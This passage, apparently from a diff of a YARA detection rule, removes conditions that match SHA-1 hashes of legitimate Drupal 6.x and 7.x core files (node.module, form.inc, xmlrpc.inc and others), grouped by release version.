"2b63f034c12d60202f689283f087f6f5f48946c1" or // includes/menu.inc - hash.sha1(0, filesize) == "ab7b91796db0ef4681b5e67e95e03a009c688c5f" or // modules/system/system.module - hash.sha1(0, filesize) == "80a31ba9e3a927adda8e57668c8ec970d6a207a6" or // includes/form.inc - - /* Drupal 6.16 */ - hash.sha1(0, filesize) == "3756e7b875afe0669c0d3256c1d93afe29e755d7" or // modules/node/node.module - hash.sha1(0, filesize) == "ecd57dc215a2944b78968fa709812cf320446fc6" or // modules/locale/locale.module - hash.sha1(0, filesize) == "0078d227e54de10cb9d2460f3b18d8ceb6fdb86e" or // includes/locale.inc - hash.sha1(0, filesize) == "0a7d62958d36a81c9e938f199e8c760123727baf" or // includes/menu.inc - hash.sha1(0, filesize) == "c91aab4890cafc70cfee4277042d505f3f15e1ff" or // modules/system/system.module - hash.sha1(0, filesize) == "527bb89b9ccbdf5a1e08c81ab2686a893c07ed78" or // includes/form.inc - - /* Drupal 6.17 */ - hash.sha1(0, filesize) == "2368a5402417369e2cd6318e103ca07747666aaa" or // modules/node/node.module - hash.sha1(0, filesize) == "1d387478445f18f8668b5d7ed7d1d96eb0aedb3d" or // includes/locale.inc - hash.sha1(0, filesize) == "599bcbdc3c2ff6e8ebe6cf8f24614f8d1c553410" or // themes/garland/template.php - hash.sha1(0, filesize) == "d63700c733fcb3f8fe927225b132a9cc10211ba1" or // modules/system/system.module - hash.sha1(0, filesize) == "48dcc2f93ecd31c679e702a1faf2b2caff8b1180" or // includes/form.inc - hash.sha1(0, filesize) == "8b3f52ad501ca0b4726af6996e57618b4ca5e4f8" or // includes/xmlrpc.inc - - /* Drupal 6.18 */ - hash.sha1(0, filesize) == "a2c40e8095cdcd133bd4cb8a720740cd6cd68c90" or // modules/system/system.module - - /* Drupal 6.19 */ - hash.sha1(0, filesize) == "58dbd82382056e8a5367492c57a8807cbad402cb" or // modules/node/node.module - hash.sha1(0, filesize) == "c008f67f93a812c1df421e6259db83a3532fdd80" or // includes/batch.inc - hash.sha1(0, filesize) == "a229335ab54e2f5a671b7d6835433e34dcac1df3" or // includes/locale.inc - hash.sha1(0, filesize) == "6e39f4d4b47cc49137e77b5927f8194ebedcda2e" or // modules/system/system.module - hash.sha1(0, filesize) == "f4dffdc1a14330db9f3a59f14857de5479e331b9" or // includes/form.inc - - /* Drupal 6.20 */ - hash.sha1(0, filesize) == "b698942278cdd380f828bf5e6104c7e37679931d" or // modules/node/node.module - hash.sha1(0, filesize) == "b16330077711b7735dd205ae651037d85aac3e12" or // modules/locale/locale.module - hash.sha1(0, filesize) == "41dec55320082ae8d611a2aa626ae54cc4a76d75" or // includes/menu.inc - hash.sha1(0, filesize) == "4697affab0bafeaf765a62b809a021fdf4068485" or // modules/system/system.module - hash.sha1(0, filesize) == "3856daf8ab296ce371c22b02baa32e4da90029c0" or // includes/form.inc - - /* Drupal 6.21 */ - hash.sha1(0, filesize) == "1cf1e904fb4338edfee61d91ebb611e5ac034ecd" or // modules/node/node.module - hash.sha1(0, filesize) == "78e3bd8a85c6f09b0635343791dad50b4c41a58f" or // includes/batch.inc - hash.sha1(0, filesize) == "4864252a3ead68da46dbe5400f906a8586a1384f" or // includes/locale.inc - hash.sha1(0, filesize) == "1057ca4a11b268576e69bd111a067eb4c87ad571" or // themes/garland/template.php - hash.sha1(0, filesize) == "d9d2bd9363cafd8b464d5e82f164a83f3cf23828" or // includes/menu.inc - hash.sha1(0, filesize) == "fdf231fce40e84493a3f2d3d3a08eecac175f8d2" or // modules/locale/locale.module - hash.sha1(0, filesize) == "1276ff3bd1677bf2ece8481bfba55cfe673cff55" or // modules/system/system.module - hash.sha1(0, filesize) == "48d49c860d1904399b6c44cc2660e699f05e52f7" or // modules/color/color.module - hash.sha1(0, filesize) == "1557e578a59a2b7fc4a241073022c7f4f19d2e5f" or // includes/xmlrpc.inc - hash.sha1(0, filesize) == "88956b7193b9d97c387d76a78e67aec948955be2" or // includes/form.inc - - /* Drupal 6.22 */ - hash.sha1(0, filesize) == "21a311cf276dae1528ce8595be4906fc8acf642c" or // modules/node/node.module - hash.sha1(0, filesize) == "d1f23968f5682341587813b6288e7b3377ab8b53" or // includes/batch.inc - hash.sha1(0, filesize) == "246b764fbc7047a5245204d40bfe9ff0369e3817" or // includes/locale.inc - hash.sha1(0, filesize) == "a1c6ca497e8672f9e9cc5dae72229d42d92e7244" or // themes/garland/template.php - hash.sha1(0, filesize) == "ae212697bbbc8eab36e5c1330b0b9597e236d7d3" or // includes/menu.inc - hash.sha1(0, filesize) == "23968265dab777455460b72ae62e5e0442153eef" or // modules/locale/locale.module - hash.sha1(0, filesize) == "099a434e38d8b7463385e50fd67c74cfd955061c" or // modules/system/system.module - hash.sha1(0, filesize) == "a3fedf58f5ff6d51b1bb4f8692c34b2afddc4085" or // modules/color/color.module - hash.sha1(0, filesize) == "1e60761b6b1ad271b83a1003709d93bee52c6a0d" or // includes/xmlrpc.inc - hash.sha1(0, filesize) == "9c0d518eff915269fe7cce4ccfa8a13931f37fd8" or // includes/form.inc - - /* Drupal 6.23 */ - hash.sha1(0, filesize) == "e60493bdbb199d250a9922ef6a601569bb8de76e" or // modules/system/system.module - - /* Drupal 6.24 */ - hash.sha1(0, filesize) == "7b12a9d929023252e0c1811ae0adcf9e4c774254" or // modules/node/node.module - hash.sha1(0, filesize) == "dab7c84b2342498a37b0bb73d3d6cf24c0f05742" or // includes/batch.inc - hash.sha1(0, filesize) == "9be2405ef05e71f30eae6734a9e62b25e6987a35" or // includes/locale.inc - hash.sha1(0, filesize) == "c20d802bbc52b545e3165331a7cdb9d6bb7b7df1" or // includes/menu.inc - hash.sha1(0, filesize) == "59a40a4f99d7bc0546721c7761753e74dc3fe3c3" or // modules/system/system.module - hash.sha1(0, filesize) == "30fbb626155b8b19ad032ffc701088ddf4199b42" or // includes/form.inc - - /* Drupal 6.25 */ - hash.sha1(0, filesize) == "1d2c37df3b426b7be8320b927126dd1539bc57c3" or // modules/system/system.module - - /* Drupal 6.26 */ - hash.sha1(0, filesize) == "0a727f287b856521d59198b9b0573b5aa80434f4" or // includes/locale.inc - hash.sha1(0, filesize) == "4905160d51618a72d2a58339c88429ada66e5a74" or // modules/system/system.module - hash.sha1(0, filesize) == "53055651427e6d4a8c202c4250977c36145b9512" or // includes/form.inc - - /* Drupal 6.27 */ - hash.sha1(0, filesize) == "c2cbbc1186ca7b2c8754c2886366b17037ee7486" or // modules/system/system.module - - /* Drupal 6.28 */ - hash.sha1(0, filesize) == "155613ff0e0d2bd61da2bad7734ce22428749c14" or // modules/system/system.module - hash.sha1(0, filesize) == "7e40d9561d9ab17e7876c397d9f0595e29b9df27" or // includes/form.inc - - /* Drupal 6.29 */ - hash.sha1(0, filesize) == "ec5935d65d04e19accc08a2bc22fd11e64308b09" or // modules/system/system.module - hash.sha1(0, filesize) == "91f55a3d4b403e0e16e2db693b2965bcbb136dbb" or // includes/form.inc - - /* Drupal 6.30 */ - hash.sha1(0, filesize) == "38d887f720a4cf99fbdb041c481bb4d10cd4f984" or // modules/system/system.module - hash.sha1(0, filesize) == "ede96ab5b9624c5831ef65c9ea16aaea572a402a" or // includes/form.inc - - /* Drupal 6.31 */ - hash.sha1(0, filesize) == "10a93fe4578303c207a6ebc0535b7f96642f8767" or // modules/system/system.module - hash.sha1(0, filesize) == "3f4fb8489b104cb120c7fbb7968675c2d236d6db" or // includes/form.inc - - /* Drupal 6.32 */ - hash.sha1(0, filesize) == "2b3300f3c10abeba51ed0aad3b3f9167b6b270f6" or // modules/system/system.module - hash.sha1(0, filesize) == "12ad1f5e5b3905ecd78abd020d41808f825da68e" or // includes/form.inc - - /* Drupal 6.33 */ - hash.sha1(0, filesize) == "212255d13179c9b80cc1b7ab31d8022a7797730d" or // modules/system/system.module - hash.sha1(0, filesize) == "3976d9af713a99b0237f6ddeadbb3490b52a7386" or // includes/xmlrpc.inc - - /* Drupal 6.34 */ - hash.sha1(0, filesize) == "b3e28ca900cdbb5e468242b3fa6be6838313e436" or // modules/system/system.module - - /* Drupal 6.35 */ - hash.sha1(0, filesize) == "8aedf452ae91d3a182fdfa9fb606664ee34b689d" or // includes/menu.inc - hash.sha1(0, filesize) == "7fea22f40d84ac1a622bdfa19ace8fe25c243440" or // modules/system/system.module - - /* Drupal 6.36 */ - hash.sha1(0, filesize) == "3f86504c275d2a09a0136d91508f67707ef7e318" or // modules/system/system.module - - /* Drupal 6.37 */ - hash.sha1(0, filesize) == "5e21f9e3de34e2c1797adc1bd8bcb95c56be1268" or // includes/menu.inc - hash.sha1(0, filesize) == "e3e7f7d44055a9c21da39e7ea0f88a39ebcc5191" or // modules/system/system.module - hash.sha1(0, filesize) == "0b6fa630381cd3af7edbf3c4c460c572c0b51f1c" or // includes/form.inc - - /* Drupal 6.38 */ - hash.sha1(0, filesize) == "87473ff28e3c066d20f701e7d793c14ab4f65d65" or // includes/menu.inc - hash.sha1(0, filesize) == "1fe7978017f44dee7e3200308879c4c0a7ea7c7c" or // modules/system/system.module - hash.sha1(0, filesize) == "a7281eb545f13d2e5d4d90c4ce2b56ca6116c1ce" or // includes/form.inc - - /* Drupal 7.0 */ - hash.sha1(0, filesize) == "228137e2ec431da9e30e427de8e0aa1aab3d2fd1" or // modules/node/node.module - hash.sha1(0, filesize) == "a922e0dbc03a425e3bc0fdae80c28ba3ac8d7ffb" or // includes/batch.inc - hash.sha1(0, filesize) == "0885dda53e94c3960cddf0c16a7ad5416a334cce" or // modules/locale/locale.module - hash.sha1(0, filesize) == "ab065305452d07211bc7443cd295dc2b780b087f" or // includes/locale.inc - hash.sha1(0, filesize) == "f4e7855dcde189ad17b70bdbf2df2f51bb7e1a02" or // includes/update.inc - hash.sha1(0, filesize) == "ad4910fce34a43990e7eaef91f7c95f311d7fa29" or // includes/theme.inc - hash.sha1(0, filesize) == "2ce4dea1385e3434d4d0724fe2aa2bc5ff963da8" or // modules/comment/comment.module - hash.sha1(0, filesize) == "2aa37405d4873a2321bc244230ee7a0104365127" or // modules/field/field.api.php - hash.sha1(0, filesize) == "9259e61d198496004841cb94e10cf218f55c7dd6" or // includes/database/query.inc - hash.sha1(0, filesize) == "c506c1adb94ef26ffe6c14ec02378b79c910f130" or // includes/file.inc - hash.sha1(0, filesize) == "00b8473d18ed60cc06f13e4b7922a29bc93088ab" or // modules/node/node.api.php - hash.sha1(0, filesize) == "501a31b23d5d76d16af32f980124e188f92c1b60" or // modules/image/image.effects.inc - hash.sha1(0, filesize) == "adb445d6aaf7cecf9b527978e90353ff1c218729" or // modules/color/color.module - hash.sha1(0, filesize) == "9b4fb5bb67916de73a3aca80f5f9b6ac6370dbb9" or // includes/database/sqlite/schema.inc - hash.sha1(0, filesize) == "627468282dea7a3491757455678d234fdfafb88a" or // includes/database/pgsql/schema.inc - hash.sha1(0, filesize) == "f3744b876879f4121030cc40df82de03fe30caa8" or // modules/system/system.api.php - hash.sha1(0, filesize) == "8c34383c3aa2bd6bb583d91f8867a53157fb2c0c" or // modules/user/user.install - hash.sha1(0, filesize) == "988c9e1ec349d19a95fdcde9e9e3e334bb672fd0" or // includes/xmlrpc.inc - - /* Drupal 7.1 */ - hash.sha1(0, filesize) == "e35f8489c3863c8c4d4abb0d166b35e1a699d618" or // modules/node/node.module - hash.sha1(0, filesize) == "4a662f3e0f5a4ed48a8f320800bb6eb1b6c2e173" or // includes/batch.inc - hash.sha1(0, filesize) == "ee49ec8bf1062ef741ae480e266ff3f41b3bd5bd" or // includes/locale.inc - hash.sha1(0, filesize) == "e0a5db67328fe2b123bfe68cfe0513f75280dd7a" or // includes/update.inc - hash.sha1(0, filesize) == "ff3b1d9fcd67edd835da289aa350b3e3c8eab640" or // includes/theme.inc - hash.sha1(0, filesize) == "22546416a2d99e42799e9c0cc52146d46c2feb7c" or // modules/comment/comment.module - hash.sha1(0, filesize) == "0e1ae22c4da4bf873136af717d616cb87bcfeefd" or // modules/field/field.api.php - hash.sha1(0, filesize) == "e5283af09bffe3133ad5aada2d294a1d5402fb75" or // includes/database/query.inc - hash.sha1(0, filesize) == "fb9cd96830b3482770937479a873064978c151c2" or // includes/file.inc - hash.sha1(0, filesize) == "2803e88287d2baff8d9e869e275c406ad6b972e8" or // modules/node/node.api.php - hash.sha1(0, filesize) == "6d501b8bf9450fff051a569c3108477d5f531783" or // modules/image/image.effects.inc - hash.sha1(0, filesize) == "6df377260a15d5100167aa49d0c8dc8f333e1e66" or // modules/locale/locale.module - hash.sha1(0, filesize) == "133831799dc1814e4cb2a18176bc59ed82e5cf77" or // includes/database/sqlite/schema.inc - hash.sha1(0, filesize) == "81ee866a49598c6e61011c7aa5992d1a1f2856cc" or // includes/database/pgsql/schema.inc - hash.sha1(0, filesize) == "016eb62bc9b5de611b4688f1aaddbae989f3420f" or // modules/system/system.api.php - hash.sha1(0, filesize) == "7aa89ef96e5a9655436cd670d80a34a76684840f" or // modules/color/color.module - hash.sha1(0, filesize) == "9c017d1d16426270a4b3bff374b58e2a08100ce7" or // modules/user/user.install - hash.sha1(0, filesize) == "3ef3764879ae96be700c3ea6e6f18e3699b118f0" or // includes/xmlrpc.inc - - /* Drupal 7.2 */ - hash.sha1(0, filesize) == "34dbcf77a17cda9e6357d813e2b8018d7c5c7add" or // modules/node/node.module - hash.sha1(0, filesize) == "fc52ef5640845babe48bea230c311e86b5e227f0" or // includes/batch.inc - hash.sha1(0, filesize) == "23cc0e2c6eebe94fe189e258a3658b40b0005891" or // modules/simpletest/tests/upgrade/drupal-6.bare.database.php - hash.sha1(0, filesize) == "a00a4810f45e30f72b3b8b649b21acd40aeffc75" or // includes/locale.inc - hash.sha1(0, filesize) == "907d7d94601c7a03cf32deeb25b0255aadb05f54" or // includes/update.inc - hash.sha1(0, filesize) == "544e2f10c37c2723e83205e35044d35e96279aa8" or // includes/theme.inc - hash.sha1(0, filesize) == "baee2c77c68ea3fdb39acb3321789053cd16488f" or // modules/comment/comment.module - hash.sha1(0, filesize) == "ff60b0b61bbc7b6e7e436ddf3205ed1d3b0778c0" or // modules/field/field.api.php - hash.sha1(0, filesize) == "c99932104d23747667422639f23b5604b3b627c0" or // includes/database/query.inc - hash.sha1(0, filesize) == "ab223dcbc96f39de69b0bded8f9b55db6b79e72c" or // includes/file.inc - hash.sha1(0, filesize) == "a14664f269a4801d956ae9a7f560208902657e89" or // modules/node/node.api.php - hash.sha1(0, filesize) == "bc2afeb66152b4fc837798753dbb718681930e70" or // modules/image/image.effects.inc - hash.sha1(0, filesize) == "b4572b134a6a581677e5c8dc90c58caea3570718" or // modules/locale/locale.module - hash.sha1(0, filesize) == "f248caf89e30f5a628af90ee4bea3a4a876294ea" or // includes/database/sqlite/schema.inc - hash.sha1(0, filesize) == "e38ede84586bf22ea788d5df2018f7517360fe62" or // includes/database/pgsql/schema.inc - hash.sha1(0, filesize) == "2c82b626fa35c256796cd4b6651f13055d396815" or // modules/system/system.api.php - hash.sha1(0, filesize) == "7a9472aeda498f93f154b44f90a87a33a709b222" or // modules/color/color.module - hash.sha1(0, filesize) == "8cb36d865b951378c3266dca7d5173a303e8dcff" or // modules/simpletest/tests/upgrade/drupal-6.filled.database.php - hash.sha1(0, filesize) == "b78a99f99fde3375da61aad7dc0940bac8d4e515" or // modules/user/user.install - hash.sha1(0, filesize) == "fd061dceb82cd18b9866d81bc8588c157cfcfdd9" or // includes/xmlrpc.inc - - /* Drupal 7.3 */ - hash.sha1(0, filesize) == "cfbcf70d4553beac63d2cdd67daffb90063bcad0" or // modules/node/node.module - - /* Drupal 7.4 */ - hash.sha1(0, filesize) == "5c1ab3a9fab6119d8b7dd092a9172e392d436e83" or // modules/node/node.module - hash.sha1(0, filesize) == "8111cfa60d4789710825ba3389e1dd0954410a3b" or // includes/batch.inc - hash.sha1(0, filesize) == "e317ebde4ea83d825d82f474175af6cbe0d35978" or // includes/locale.inc - hash.sha1(0, filesize) == "d7b95646f2d390b23f686a579e74a0132d9be127" or // modules/comment/comment.module - hash.sha1(0, filesize) == "abfb60fb8f4560d55fec097d641d99b17a611127" or // modules/field/field.api.php - hash.sha1(0, filesize) == "ccd2d749cf9120100761f46564c789a63baaa533" or // includes/file.inc - hash.sha1(0, filesize) == "c8adac93914d701282fc76b03b68b1d4bcf111f3" or // modules/node/node.api.php - hash.sha1(0, filesize) == "f497cc0c8d592dfad4f992d2fef96a6ed2fad3d1" or // modules/system/system.api.php - hash.sha1(0, filesize) == "8523e46e8d42d7ad2795e1972dbe5ab7683fd430" or // modules/color/color.module - hash.sha1(0, filesize) == "54ab4931fd4153e45b70e40a059b096e8b9f1dde" or // modules/user/user.install - - /* Drupal 7.5 */ - hash.sha1(0, filesize) == "0fe5c9d14de7aa5a6eb90d5ccef639f85af67731" or // modules/comment/comment.module - - /* Drupal 7.6 */ - hash.sha1(0, filesize) == "2f803125bdb3c2c7da6027bd039a06d24c7bf441" or // modules/node/node.module - hash.sha1(0, filesize) == "5b161c50878bda62cefdb165e361288928a3bcfe" or // modules/comment/comment.module - hash.sha1(0, filesize) == "c1d065492b96823f09e6ccae43fd2d36e856e4d6" or // modules/field/field.api.php - hash.sha1(0, filesize) == "b0604abef9f1ad08e75f8f3b49a42d1e4f4e5093" or // includes/file.inc - hash.sha1(0, filesize) == "8dee21ea769e0a25be89c2d9dec47ca416549f55" or // modules/node/node.api.php - hash.sha1(0, filesize) == "38e30cecf915663b1b1e9c47d43c559db9fc50a7" or // modules/system/system.api.php - - /* Drupal 7.8 */ - hash.sha1(0, filesize) == "ef540f3d6dfe62e0649a8d9a85fe1f24a03e826c" or // modules/node/node.module - hash.sha1(0, filesize) == "fa2f8bd721f4ba4432d781cc0dd2a4dad94a3d77" or // includes/update.inc - hash.sha1(0, filesize) == "d53494036ec1d09b63951ff6372e4da3600981a5" or // includes/theme.inc - hash.sha1(0, filesize) == "50239d9649de44842b584b5d3498d208839b304b" or // modules/field/field.api.php - hash.sha1(0, filesize) == "b3560506e463666789a8507354762b4c48e8ff58" or // includes/database/query.inc - hash.sha1(0, filesize) == "b3c5dd723611d4ecfe59908d6defd7c0b2ce4a1c" or // includes/file.inc - hash.sha1(0, filesize) == "554df15d8bde0586535f5005cf1357106943e1d0" or // includes/database/sqlite/schema.inc - hash.sha1(0, filesize) == "dbe730df886669a0aeeda142e97c1dded6ea94a8" or // modules/system/system.api.php - hash.sha1(0, filesize) == "e89d20c7efc7c8b66b64858b4e2f4db8f942901d" or // modules/color/color.module - hash.sha1(0, filesize) == "cfd3a5279057e6a3954cf7f77a60373f6fb1fed9" or // modules/user/user.install - - /* Drupal 7.9 */ - hash.sha1(0, filesize) == "874f20cc4d15d66b16c708e0f5875b5ba7d5a14f" or // modules/node/node.module - hash.sha1(0, filesize) == "376c733a803cc5fee588b62f2339a3952e3286b7" or // includes/locale.inc - hash.sha1(0, filesize) == "141851c796279d22ccb4ad8c40694cba0f13c85d" or // modules/image/image.module - hash.sha1(0, filesize) == "e1de684d85edb24a774880b747acb08bd3b7a898" or // includes/update.inc - hash.sha1(0, filesize) == "8972898bde23edde98d6de14ff263a75d12ec086" or // includes/theme.inc - hash.sha1(0, filesize) == "3a754517384a1418312c5f750e90ca94526d7823" or // modules/comment/comment.module - hash.sha1(0, filesize) == "3620e1eb6ca27a32b4e8881d1364d3540ac0cc8e" or // modules/field/field.api.php - hash.sha1(0, filesize) == "18ebac575d626411895b12a394be34ed2a844f21" or // includes/database/query.inc - hash.sha1(0, filesize) == "1190f6d63a28a9b1d8ee858ef9ee18dcd08d8a3c" or // includes/file.inc - hash.sha1(0, filesize) == "3cd13f1cff9db2adcbdb24f0db798b97fc0f2e54" or // modules/node/node.api.php - hash.sha1(0, filesize) == "f24d52c0dfc83e77ed99199b488c5c5854bb64d3" or // modules/image/image.effects.inc - hash.sha1(0, filesize) == "1b1b3d4e3d153a6daca9730d685b483e779384ce" or // includes/database/sqlite/schema.inc - hash.sha1(0, filesize) == "802e206777d89fd2c1bff3eebeb14131953059e2" or // modules/system/system.api.php - hash.sha1(0, filesize) == "62e08a84c9456cb7b2be8323b39e6363330565af" or // modules/user/user.install - - /* Drupal 7.10 */ - hash.sha1(0, filesize) == "f8d160b22569d99bb7ae606d897b5739aba1b4c0" or // includes/locale.inc - hash.sha1(0, filesize) == "d4bd1976a0d91a872f2ee337adbd0dbd08981328" or // includes/theme.inc - hash.sha1(0, filesize) == "193f4a8468152cc92568fba79536e8188c026048" or // modules/field/field.api.php - hash.sha1(0, filesize) == "3776fcae25ce7a1e09afdf16d7af516278d4db90" or // modules/node/node.api.php - hash.sha1(0, filesize) == "9915a088e3b9be5bab1cf0af896ca5c3ca6f5a91" or // modules/system/system.api.php - - /* Drupal 7.12 */ - hash.sha1(0, filesize) == "6ba7cc7cdbf3ac477cabb29eaa7ec544d38618cd" or // includes/locale.inc - hash.sha1(0, filesize) == "30c00b4ecc434169129c91a21388e6fa343263b5" or // modules/field/field.api.php - hash.sha1(0, filesize) == "66c8f012e591b67260b395ae4cd3e55aa63518f9" or // includes/database/query.inc - hash.sha1(0, filesize) == "5bc8b220886f9127c625521bbea545e9d4e5ecf6" or // includes/file.inc - hash.sha1(0, filesize) == "9683c49120d00594cc6669d691b3945679f247d8" or // includes/xmlrpc.inc - hash.sha1(0, filesize) == "3ad0b3de8824928da3f4dadf4969ea7abf1e9e76" or // modules/node/node.api.php - hash.sha1(0, filesize) == "83bcc07bd2c47f6bd5b21e7686d72606b36f2a97" or // modules/color/color.module - hash.sha1(0, filesize) == "6e863704c3bd2d18bda76990731797aea26b6e45" or // modules/taxonomy/taxonomy.module - hash.sha1(0, filesize) == "a6dfab1b914e1f1d4413a5370d2cfba0ca9eccd3" or // includes/update.inc - hash.sha1(0, filesize) == "a2996d736eef113f602b2b8c9815fdcdf166edd7" or // includes/theme.inc - hash.sha1(0, filesize) == "ad2ed35be4a5b72d759d80dccd0870023a8b559a" or // modules/system/system.api.php - hash.sha1(0, filesize) == "6d6bf6fab7bd7e62781e9b3f214e75b6fd0401ef" or // modules/node/node.module - hash.sha1(0, filesize) == "5a0cb26b63ebfd0a9ab9b6b639c28be96bda678a" or // includes/batch.inc - hash.sha1(0, filesize) == "873673223fcf2c5ffbb2ee61e46b60e88276bb2c" or // modules/comment/comment.module - hash.sha1(0, filesize) == "c94089c0c1f7e28099713ac4358361ab6c093b8e" or // modules/image/image.effects.inc - hash.sha1(0, filesize) == "5e622a61c008ce9e28e1e1ca8c5396c716eec50d" or // modules/locale/locale.module - hash.sha1(0, filesize) == "f9f2950ec923251f1410c3a010a40bd92e9c1c2e" or // modules/user/user.install - - /* Drupal 7.13 */ - hash.sha1(0, filesize) == "fdc337289dadbc2a4d51d50603b6a1a5cf314a2f" or // includes/file.inc - hash.sha1(0, filesize) == "9517f7d6b6aafe54b7e70c33f9da3f96b3e30a0c" or // modules/image/image.module - - /* Drupal 7.14 */ - hash.sha1(0, filesize) == "e0e6c50f7a5fef4095d0511db65e489306dd2bc5" or // includes/locale.inc - hash.sha1(0, filesize) == "559e78ca68c387361a9b205a9eb6ba39de431cd9" or // modules/field/field.api.php - hash.sha1(0, filesize) == "63661ea9e3f2c0a4300d9110e44ec6eba34d9ecf" or // includes/database/query.inc - hash.sha1(0, filesize) == "ceaeb8ead71f3f102e0b7eda1704ecf6f752ff1f" or // includes/file.inc - hash.sha1(0, filesize) == "b9d2e309d9f3879c6aabe12087d2afa117f72e42" or // includes/database/pgsql/schema.inc - hash.sha1(0, filesize) == "fc041148a8964db0130e497050a820cd44bea728" or // modules/node/node.api.php - hash.sha1(0, filesize) == "8c5963e0ebe56652269d97ac155b4750c9268018" or // modules/color/color.module - hash.sha1(0, filesize) == "7d882fc545e045e486cdec4fbe5137ef604b747d" or // modules/taxonomy/taxonomy.module - hash.sha1(0, filesize) == "ba874d97c43cae425fcc485d15f8287b0f030f1c" or // includes/update.inc - hash.sha1(0, filesize) == "9be718159cda03c3872c1b209b5b1fa84fb86283" or // includes/theme.inc - hash.sha1(0, filesize) == "f3d155a0156229045cd61033373e7404a11730a6" or // modules/system/system.api.php - hash.sha1(0, filesize) == "b747e7c1ac3239f51551e12c1b3673c4f9b53cda" or // modules/node/node.module - hash.sha1(0, filesize) == "4f5c656cb1db75129aa75cab4ba0cba4d57f1fa5" or // modules/comment/comment.module - hash.sha1(0, filesize) == "d1deca550745738a82ce725de78f0661d0081b69" or // modules/image/image.module - hash.sha1(0, filesize) == "921e4866862f1123f48cb6b51c805933b7eea9ff" or // modules/locale/locale.module - hash.sha1(0, filesize) == "c112dddc71fb901ebacab6e6f30674e952873ab2" or // modules/user/user.install - - /* Drupal 7.15 */ - hash.sha1(0, filesize) == "89b2e192085ca361a61a8cd7b37852f377885ad9" or // includes/locale.inc - hash.sha1(0, filesize) == "8eb49bc4f8056989eff06d0fd1027b198151d03a" or // modules/field/field.api.php - hash.sha1(0, filesize) == "93beff3b71eca68011eb61388a66db2f23c5ee63" or // includes/database/query.inc - hash.sha1(0, filesize) == "ad03ed890400cf319f713ee0b4b6a62a5710f580" or // modules/system/system.admin.inc - hash.sha1(0, filesize) == "73f4bb0c0d1b84887e03815381334b53f13c01f7" or // modules/taxonomy/taxonomy.module - hash.sha1(0, filesize) == "fbae17fa9997c3a5b2f51ac38519af54c2138575" or // includes/update.inc - hash.sha1(0, filesize) == "a1d0eb20cec51c12552955ff4ca77cf6f8ec8a0c" or // includes/theme.inc - hash.sha1(0, filesize) == "6c9c01bef14f8f64ef0af408f7ed764791531cc6" or // modules/system/system.module - hash.sha1(0, filesize) == "142bf4bc3de00b35a05584ff17cbe7264c017b37" or // modules/system/system.api.php - hash.sha1(0, filesize) == "80ed887b7589aab47b263a4e92a1dff8e7675156" or // modules/node/node.module - hash.sha1(0, filesize) == "81a568555885316598cf73fa67660f32e6f6d439" or // modules/comment/comment.module - hash.sha1(0, filesize) == "1fb1b04c34e55ee113f82adb6fb5cf35b415242d" or // modules/locale/locale.module - hash.sha1(0, filesize) == "d9a1159df42f8ed46acde0b7ef3dab54dd9276d1" or // modules/user/user.install - - /* Drupal 7.17 */ - hash.sha1(0, filesize) == "87a638d6809ec1740bd206095cbba9473d43134a" or // modules/field/field.api.php - hash.sha1(0, filesize) == "2ada89b2b4f02665654c637060e6401617421b35" or // includes/file.inc - hash.sha1(0, filesize) == "e288cbba2d7791014f8d5056f7bc96c0eb2f7034" or // modules/simpletest/tests/database_test.test - hash.sha1(0, filesize) == "b9e993eb5138a2abe365ee837fa1923a70849721" or // modules/node/node.api.php - hash.sha1(0, filesize) == "26be86fa997a3d2d560589991a96cad4f96902e3" or // modules/taxonomy/taxonomy.module - hash.sha1(0, filesize) == "5496e25660589649f4bfcf21441cd34d50461332" or // includes/update.inc - hash.sha1(0, filesize) == "a21cb2e9f9af380dd414137b31e635826cbe93a3" or // includes/theme.inc - hash.sha1(0, filesize) == "d94d0ad98ae0348420f4bd6f76b9721ec9f765fe" or // modules/system/system.api.php - hash.sha1(0, filesize) == "06f2ae2d736cd60b01ba7c58711f9bf78e4dc5d8" or // modules/node/node.module - hash.sha1(0, filesize) == "b6d4da7d08276c36e6e57300eacd1e7fdc129f82" or // modules/comment/comment.module - hash.sha1(0, filesize) == "f3f1e8913545884f4e18da979b299b2c31dc4464" or // modules/image/image.module - hash.sha1(0, filesize) == "07b172f6bae1f3379d80204c986447a16ea3faef" or // modules/locale/locale.module - hash.sha1(0, filesize) == "1256625518f3bd4e8816265c0a1f50ee8f0e576f" or // modules/user/user.install - - /* Drupal 7.18 */ - hash.sha1(0, filesize) == "b54c24bb2a8be7e46d8565c0d116efe8f76feec7" or // includes/file.inc - - /* Drupal 7.19 */ - hash.sha1(0, filesize) == "0b3443743f466756c108c38ab87ccf4adcf6b403" or // modules/image/image.module - - /* Drupal 7.20 */ - hash.sha1(0, filesize) == "21a79abbf5c58274ed20af6a31c36337b51cf529" or // modules/image/image.module - - /* Drupal 7.21 */ - hash.sha1(0, filesize) == "f5a411da3de18d2c7317c68b4accdd5d639e9c3e" or // modules/image/image.module - - /* Drupal 7.22 */ - hash.sha1(0, filesize) == "a80edc160988720b1e1698cacf7ed9d463ba32b7" or // modules/field/field.api.php - hash.sha1(0, filesize) == "2c30986a35dbc2cc30677bf1bee693af2d79f29f" or // includes/database/query.inc - hash.sha1(0, filesize) == "2ff3f5392b01f0863835e9f64adadbbc15e0cf47" or // includes/file.inc - hash.sha1(0, filesize) == "0d11b0111510c28850bb2da05133288bf68b29bb" or // modules/simpletest/tests/database_test.test - hash.sha1(0, filesize) == "716849249abf5fa9357c969dc7c469a650cefb4a" or // modules/node/node.api.php - hash.sha1(0, filesize) == "5dfed6dda5a73aeb68317f4075d207061e00a97b" or // includes/update.inc - hash.sha1(0, filesize) == "620882ff6d924aebdc623939e9f258cfc280d558" or // includes/theme.inc - hash.sha1(0, filesize) == "f22075fbd3b250ff34d9bdf3e9e9d65bad41bffc" or // modules/system/system.api.php - hash.sha1(0, filesize) == "a60ac92515062e34cbd2f6a863f89c5154476ffa" or // modules/node/node.module - hash.sha1(0, filesize) == "44af4b05bdfb190ff25905516f7e2e6274c7b0f0" or // modules/comment/comment.module - hash.sha1(0, filesize) == "24d8c75b194eccc163ba34e153cb6bd733e1493c" or // modules/image/image.module - hash.sha1(0, filesize) == "c6128650f2103c3139af69e69a7c8fd5f7f08f4f" or // modules/locale/locale.module - - /* Drupal 7.23 */ - hash.sha1(0, filesize) == "d3389a9db226a217aa9785cb72b699b36e1e4db4" or // modules/field/field.api.php - hash.sha1(0, filesize) == "3a4c2eca65105c3248fa6ef1d1f2dc2eb287a313" or // includes/database/query.inc - hash.sha1(0, filesize) == "4a4a2967b901d7e3ded1dc099388448712a0ed2d" or // includes/file.inc - hash.sha1(0, filesize) == 